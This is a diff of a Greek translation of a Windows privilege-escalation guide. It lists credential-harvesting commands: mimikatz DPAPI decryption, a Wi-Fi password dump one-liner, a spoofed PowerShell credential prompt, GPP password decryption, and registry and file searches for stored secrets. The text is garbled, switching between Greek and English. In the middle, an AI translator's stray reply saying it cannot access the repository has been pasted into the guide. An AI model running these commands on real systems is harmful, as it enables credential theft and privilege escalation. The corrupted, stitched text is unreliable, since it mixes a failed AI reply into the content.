`%APPDATA%\Microsoft\Protect\{SID}`, όπου `{SID}` αντιπροσωπεύει τον χρήστη [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Το DPAPI key, που βρίσκεται μαζί με το master key που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο**, συνήθως αποτελείται από 64 bytes τυχαίων δεδομένων. (Σημειώστε ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την εμφάνιση του περιεχομένου μέσω της εντολής `dir` στο CMD, αν και μπορεί να εμφανιστεί μέσω του PowerShell). +Τα κρυπτογραφημένα RSA κλειδιά χρήστη, χρησιμοποιώντας το DPAPI, αποθηκεύονται στον κατάλογο %APPDATA%\Microsoft\Protect\{SID}, όπου {SID} αντιπροσωπεύει το χρήστη [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Το DPAPI key, συνυφασμένο με το master key που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο**, συνήθως αποτελείται από 64 bytes τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την εμφάνιση του περιεχομένου του μέσω της εντολής `dir` στο CMD, αν και μπορεί να εμφανιστεί μέσω του PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::masterkey` με τις κατάλληλες παραμέτρους (`/pvk` ή `/rpc`) για να το αποκρυπτογραφήσετε. +Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::masterkey` με τις κατάλληλες παραμέτρους (`/pvk` or `/rpc`) για να το αποκρυπτογραφήσετε. -Τα **credentials files protected by the master password** βρίσκονται συνήθως στο: +Οι **credentials files protected by the master password** βρίσκονται συνήθως στο: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::cred` με το κατάλληλο `/masterkey` για να αποκρυπτογραφήσετε.\ -Μπορείτε να **εξάγετε πολλά DPAPI** **masterkeys** από τη **μνήμη** με το module `sekurlsa::dpapi` (αν είστε root). +Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::cred` με το κατάλληλο `/masterkey` για να decrypt.\ +Μπορείτε να **extract many DPAPI** **masterkeys** από τη **memory** με το `sekurlsa::dpapi` module (αν είστε root). {{#ref}} @@ -796,9 +830,9 @@ dpapi-extracting-passwords.md ### PowerShell Διαπιστευτήρια -Τα **PowerShell διαπιστευτήρια** χρησιμοποιούνται συχνά για **scripting** και εργασίες αυτοματοποίησης ως τρόπος βολικής αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων. Τα διαπιστευτήρια προστατεύονται με **DPAPI**, που συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν. +Τα **PowerShell credentials** χρησιμοποιούνται συχνά για **scripting** και εργασίες αυτοματισμού ως τρόπος αποθήκευσης κρυπτογραφημένων credentials με ευκολία. Τα credentials προστατεύονται χρησιμοποιώντας **DPAPI**, που συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν. -Για να **αποκρυπτογραφήσετε** ένα PS διαπιστευτήριο από το αρχείο που το περιέχει μπορείτε να κάνετε: +Για να **decrypt** ένα PS credentials από το αρχείο που το περιέχει μπορείτε να κάνετε: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -818,7 +852,7 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Αποθηκευμένες συνδέσεις RDP +### Αποθηκευμένες Συνδέσεις RDP Μπορείτε να τις βρείτε στο `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ και στο `HKCU\Software\Microsoft\Terminal Server Client\Servers\` @@ -828,22 +862,22 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Διαχειριστής Διαπιστευτηρίων Remote Desktop** +### **Διαχειριστής Διαπιστευτηρίων Απομακρυσμένης Επιφάνειας Εργασίας** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files`\ -Μπορείτε να **εξάγετε πολλά DPAPI masterkeys** από τη μνήμη με το Mimikatz `sekurlsa::dpapi` module +Χρησιμοποιήστε το **Mimikatz** `dpapi::rdg` module με το κατάλληλο `/masterkey` για να **αποκρυπτογραφήσετε οποιαδήποτε αρχεία .rdg**\ +Μπορείτε να **εξάγετε πολλά DPAPI masterkeys** από τη μνήμη με το **Mimikatz** `sekurlsa::dpapi` module ### Sticky Notes -Συχνά οι χρήστες χρησιμοποιούν την εφαρμογή StickyNotes σε Windows workstations για να **αποθηκεύουν κωδικούς πρόσβασης** και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι πρόκειται για αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε. +People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. ### AppCmd.exe -**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -Εάν αυτό το αρχείο υπάρχει, μπορεί να έχουν ρυθμιστεί κάποιες credentials και να μπορούν να ανακτηθούν. +**Σημειώστε ότι για να ανακτήσετε κωδικούς από AppCmd.exe χρειάζεται να είστε Administrator και να τρέξετε σε επίπεδο High Integrity.**\ +**AppCmd.exe** βρίσκεται στον `%systemroot%\system32\inetsrv\` directory.\ +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -925,40 +959,40 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Ελέγξτε αν υπάρχει `C:\Windows\CCM\SCClient.exe` .\ -Οι εγκαταστάτες **εκτελούνται με προνόμια SYSTEM**, πολλοί είναι ευάλωτοι σε **DLL Sideloading (Πληροφορίες από** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Ελέγξτε αν `C:\Windows\CCM\SCClient.exe` υπάρχει .\ +Οι installers **εκτελούνται με προνόμια SYSTEM**, πολλοί είναι ευάλωτοι σε **DLL Sideloading (Πληροφορίες από** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Αρχεία και Registry (Credentials) +## Αρχεία και Μητρώο (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Κλειδιά Host του Putty SSH +### Putty SSH κλειδιά οικοδεσπότη ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys στο μητρώο +### SSH κλειδιά στο μητρώο -Τα SSH private keys μπορούν να αποθηκευτούν μέσα στο κλειδί του μητρώου `HKCU\Software\OpenSSH\Agent\Keys`, οπότε πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί: +Ιδιωτικά SSH κλειδιά μπορούν να αποθηκευτούν μέσα στο κλειδί μητρώου `HKCU\Software\OpenSSH\Agent\Keys`, οπότε θα πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Αν βρείτε οποιαδήποτε εγγραφή μέσα σε αυτό το path, πιθανότατα θα είναι ένα αποθηκευμένο SSH key. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί εύκολα να αποκρυπτογραφηθεί χρησιμοποιώντας [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Περισσότερες πληροφορίες για αυτήν την τεχνική εδώ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Αν βρείτε οποιαδήποτε εγγραφή μέσα σε αυτή τη διαδρομή, πιθανότατα θα είναι αποθηκευμένο SSH key. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί εύκολα να αποκρυπτογραφηθεί χρησιμοποιώντας [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Περισσότερες πληροφορίες για αυτή την τεχνική εδώ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Αν η υπηρεσία `ssh-agent` δεν τρέχει και θέλετε να ξεκινάει αυτόματα κατά την εκκίνηση, εκτελέστε: +Αν η υπηρεσία `ssh-agent` δεν εκτελείται και θέλετε να ξεκινάει αυτόματα κατά την εκκίνηση, εκτελέστε: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Φαίνεται ότι αυτή η τεχνική δεν ισχύει πια. Προσπάθησα να δημιουργήσω κάποια ssh keys, να τα προσθέσω με `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Το registry HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε χρήση του `dpapi.dll` κατά την αυθεντικοποίηση με ασύμμετρα κλειδιά. +> Φαίνεται ότι αυτή η τεχνική δεν ισχύει πλέον. Προσπάθησα να δημιουργήσω κάποια ssh keys, να τα προσθέσω με `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Το registry HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση της `dpapi.dll` κατά την ασύμμετρη πιστοποίηση κλειδιού. -### Ανεπιτήρητα αρχεία +### Αρχεία χωρίς επίβλεψη ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -1004,7 +1038,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Διαπιστευτήρια Cloud +### Cloud Διαπιστευτήρια ```bash #From user home .aws\credentials @@ -1018,13 +1052,13 @@ AppData\Roaming\gcloud\access_tokens.db Αναζητήστε ένα αρχείο με όνομα **SiteList.xml** -### Αποθηκευμένος κωδικός GPP +### Cached GPP Pasword -Μια λειτουργία ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω Group Policy Preferences (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικές αδυναμίες ασφαλείας. Πρώτον, τα Group Policy Objects (GPOs), αποθηκευμένα ως XML αρχεία στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του domain. Δεύτερον, οι κωδικοί εντός αυτών των GPP, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε αυθεντικοποιημένο χρήστη. Αυτό αποτελούσε σοβαρό κίνδυνο, καθώς μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια. +Υπήρχε προηγουμένως μια λειτουργία που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών administrator σε μια ομάδα μηχανημάτων μέσω των Group Policy Preferences (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικές αδυναμίες ασφαλείας. Πρώτον, τα Group Policy Objects (GPOs), αποθηκευμένα ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του domain. Δεύτερον, οι κωδικοί μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο default key, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε authenticated user. Αυτό αποτελούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια. -Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια συνάρτηση που σαρώσει για τοπικά αποθηκευμένα αρχεία GPP που περιέχουν πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί τέτοιο αρχείο, η συνάρτηση αποκρυπτογραφεί τον κωδικό και επιστρέφει ένα προσαρμοσμένο PowerShell αντικείμενο. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και τη θέση του αρχείου, βοηθώντας στην ταυτοποίηση και την αποκατάσταση αυτής της ευπάθειας ασφαλείας. +Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια συνάρτηση που σαρώνει για τοπικά cached αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρει τέτοιο αρχείο, η συνάρτηση αποκρυπτογραφεί τον κωδικό και επιστρέφει ένα custom PowerShell object. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες για το GPP και την τοποθεσία του αρχείου, βοηθώντας στην ταυτοποίηση και την αποκατάσταση αυτής της ευπάθειας ασφαλείας. -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: +Αναζητήστε στο `C:\ProgramData\Microsoft\Group Policy\history` ή στο _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ για αυτά τα αρχεία: - Groups.xml - Services.xml @@ -1033,7 +1067,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents - Printers.xml - Drives.xml -Για να αποκρυπτογραφήσετε το cPassword: +**Για να αποκρυπτογραφήσετε το cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1042,7 +1076,7 @@ gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Διαμόρφωση Web +### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1056,7 +1090,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Παράδειγμα web.config με credentials: +Παράδειγμα web.config με διαπιστευτήρια: ```xml @@ -1066,7 +1100,7 @@ Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction ``` -### Διαπιστευτήρια OpenVPN +### OpenVPN διαπιστευτήρια ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1086,7 +1120,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Αρχεία καταγραφής +### Καταγραφές ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1096,7 +1130,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Ζητήστε credentials -Μπορείτε πάντα να **ζητήσετε από τον χρήστη να εισαγάγει τα credentials του ή ακόμη και τα credentials κάποιου άλλου χρήστη** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι το **να ρωτήσετε** άμεσα τον πελάτη για τα **credentials** είναι πραγματικά **επικίνδυνο**): +Μπορείτε πάντα **να ζητήσετε από τον user να εισάγει τα credentials του ή ακόμα και τα credentials ενός διαφορετικού user** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι **να ζητήσετε** από τον client απευθείας τα **credentials** είναι πραγματικά **επικίνδυνο**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1170,7 +1204,16 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -I don't have access to your repository. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the other files you want searched) here, and I'll translate the English text to Greek following your rules. +I don't have access to your repository. Please either: + +- Paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md here, or +- Provide the list of "proposed files" you want searched, or +- Tell me the exact search term and whether I should search filenames or file contents. + +If you want to run a local search yourself, a helpful command is: +grep -RIn "SEARCH_TERM" path/to/repo + +Once you provide the file content or clarify, I'll translate the relevant English text to Greek following your rules. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1179,15 +1222,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Διαπιστευτήρια στον RecycleBin +### Διαπιστευτήρια στον Κάδο Ανακύκλωσης -Πρέπει επίσης να ελέγξετε τον Bin για να βρείτε διαπιστευτήρια μέσα σε αυτόν +Ελέγξτε επίσης τον Κάδο για διαπιστευτήρια. -Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκευτεί από διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκεύσει διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Μέσα στο μητρώο +### Στο μητρώο -**Άλλα πιθανά κλειδιά του μητρώου με διαπιστευτήρια** +**Άλλα πιθανά κλειδιά του μητρώου που περιέχουν διαπιστευτήρια** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1196,10 +1239,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### Ιστορικό προγραμμάτων περιήγησης +### Ιστορικό περιηγητών Πρέπει να ελέγξετε για dbs όπου αποθηκεύονται κωδικοί από **Chrome or Firefox**.\ -Επίσης ελέγξτε το ιστορικό, τα bookmarks και τα favourites των browsers καθώς ίσως κάποια **κωδικοί** να είναι αποθηκευμένοι εκεί. +Επίσης ελέγξτε το history, bookmarks και favourites των browsers γιατί ίσως μερικοί **passwords are** αποθηκεύονται εκεί. Tools to extract passwords from browsers: @@ -1210,15 +1253,15 @@ Tools to extract passwords from browsers: ### **COM DLL Overwriting** -**Component Object Model (COM)** είναι μια τεχνολογία ενσωματωμένη στο λειτουργικό σύστημα Windows που επιτρέπει την επικοινωνία μεταξύ συστατικών λογισμικού γραμμένων σε διαφορετικές γλώσσες. Κάθε COM component αναγνωρίζεται μέσω ενός class ID (CLSID) και κάθε component εκθέτει λειτουργικότητα μέσω μίας ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω interface IDs (IIDs). +**Component Object Model (COM)** είναι μια τεχνολογία ενσωματωμένη στο λειτουργικό σύστημα Windows που επιτρέπει την αλληλεπικοινωνία μεταξύ λογισμικών συστατικών γραμμένων σε διαφορετικές γλώσσες. Κάθε COM component αναγνωρίζεται μέσω ενός class ID (CLSID) και κάθε component εκθέτει λειτουργίες μέσω μίας ή περισσότερων interfaces, αναγνωριζόμενων μέσω interface IDs (IIDs). -Οι COM κλάσεις και διεπαφές ορίζονται στο μητρώο κάτω από **HKEY\CLASSES\ROOT\CLSID** και **HKEY\CLASSES\ROOT\Interface** αντίστοιχα. Αυτό το τμήμα του μητρώου δημιουργείται με τη συγχώνευση των **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Μέσα στα CLSIDs αυτού του μητρώου μπορείτε να βρείτε το child registry **InProcServer32** που περιέχει μια **default value** που δείχνει σε ένα **DLL** και μία τιμή με όνομα **ThreadingModel** που μπορεί να είναι **Apartment (Single-Threaded)**, **Free (Multi-Threaded)**, **Both (Single or Multi)** ή **Neutral (Thread Neutral)**. +Μέσα στα CLSIDs αυτού του registry μπορείτε να βρείτε το child registry **InProcServer32** που περιέχει μια **default value** που δείχνει σε ένα **DLL** και μια τιμή που ονομάζεται **ThreadingModel** η οποία μπορεί να είναι Apartment (μονόνημα), Free (πολύνημα), Both (μονό ή πολύ) ή Neutral (ουδέτερο ως προς τα νήματα). ![](<../../images/image (729).png>) -Βασικά, αν μπορέσετε να αντικαταστήσετε κάποιο από τα **DLLs** που πρόκειται να εκτελεστούν, θα μπορούσατε να αποκτήσετε αυξημένα προνόμια αν αυτό το DLL εκτελεστεί από διαφορετικό χρήστη. +Βασικά, αν μπορείτε να **overwrite any of the DLLs** που πρόκειται να εκτελεστούν, θα μπορούσατε να **escalate privileges** αν αυτό το DLL πρόκειται να εκτελεστεί από διαφορετικό χρήστη. To learn how attackers use COM Hijacking as a persistence mechanism check: @@ -1227,7 +1270,7 @@ To learn how attackers use COM Hijacking as a persistence mechanism check: com-hijacking.md {{#endref}} -### **Γενική αναζήτηση κωδικών σε αρχεία και μητρώο** +### **Γενική αναζήτηση κωδικών σε αρχεία και registry** **Αναζήτηση περιεχομένου αρχείων** ```bash @@ -1235,13 +1278,13 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Αναζήτηση αρχείου με συγκεκριμένο όνομα** +**Αναζήτηση για αρχείο με συγκεκριμένο όνομα** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Αναζήτηση στο registry για ονόματα κλειδιών και κωδικούς πρόσβασης** +**Αναζήτηση στο μητρώο για ονόματα κλειδιών και κωδικούς** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K @@ -1250,11 +1293,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Εργαλεία που αναζητούν passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin. Έχω δημιουργήσει αυτό το plugin ώστε να **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) αναζητά αυτόματα όλα τα αρχεία που περιέχουν passwords που αναφέρονται σε αυτή τη σελίδα.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) είναι ένα ακόμα εξαιρετικό εργαλείο για την εξαγωγή passwords από ένα σύστημα. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **είναι ένα msf** plugin που έχω δημιουργήσει για να **εκτελεί αυτόματα κάθε metasploit POST module που αναζητά credentials** μέσα στο θύμα.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) αναζητά αυτόματα όλα τα αρχεία που περιέχουν passwords που αναφέρονται σε αυτήν τη σελίδα.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) είναι ένα ακόμα εξαιρετικό εργαλείο για την εξαγωγή password από ένα σύστημα. -Το εργαλείο [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) αναζητά **sessions**, **usernames** και **passwords** από διάφορα εργαλεία που αποθηκεύουν αυτά τα δεδομένα σε clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Το εργαλείο [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) αναζητά **sessions**, **usernames** και **passwords** πολλών εργαλείων που αποθηκεύουν αυτά τα δεδομένα σε clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1263,30 +1306,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Φανταστείτε ότι **μια διεργασία που εκτελείται ως SYSTEM ανοίγει μια νέα διεργασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διεργασία **δημιουργεί επίσης μια νέα διεργασία** (`CreateProcess()`) **με χαμηλά προνόμια αλλά κληρονομώντας όλα τα ανοικτά handles της κύριας διεργασίας**.\ -Τότε, εάν έχετε **πλήρη πρόσβαση στη διεργασία με χαμηλά προνόμια**, μπορείτε να αρπάξετε το **ανοικτό handle προς τη διεργασία με προνόμια που δημιουργήθηκε** με `OpenProcess()` και να **εγχύσετε ένα shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ -[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ +[Διαβάστε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με **πώς να εντοπίσετε και να εκμεταλλευτείτε αυτήν την ευπάθεια**.](leaked-handle-exploitation.md)\ +[Διαβάστε αυτό το **άλλο άρθρο για μια πιο πλήρη εξήγηση σχετικά με το πώς να δοκιμάσετε και να καταχραστείτε περισσότερα open handlers διεργασιών και νημάτων που κληρονομούνται με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Τα κοινόχρηστα τμήματα μνήμης, αναφερόμενα ως **pipes**, επιτρέπουν την επικοινωνία μεταξύ διεργασιών και τη μεταφορά δεδομένων. +Τα shared memory segments, αναφερόμενα ως **pipes**, επιτρέπουν την επικοινωνία μεταξύ διεργασιών και τη μεταφορά δεδομένων. -Τα Windows παρέχουν μια δυνατότητα που ονομάζεται **Named Pipes**, επιτρέποντας σε μη σχετιζόμενες διεργασίες να μοιράζονται δεδομένα, ακόμη και μέσω διαφορετικών δικτύων. Αυτό μοιάζει με αρχιτεκτονική client/server, με ρόλους 